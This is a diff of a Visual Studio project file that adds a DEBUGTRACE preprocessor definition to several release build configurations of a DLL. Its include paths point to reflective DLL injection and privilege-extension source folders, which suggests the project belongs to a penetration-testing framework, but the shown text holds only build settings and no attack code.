<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;DEBUGTRACE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
@ -164,7 +164,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;DEBUGTRACE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
@ -230,7 +230,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;DEBUGTRACE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
@ -296,7 +296,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;DEBUGTRACE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
@ -381,4 +381,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
</Project>
|
Loading…
x
Reference in New Issue
Block a user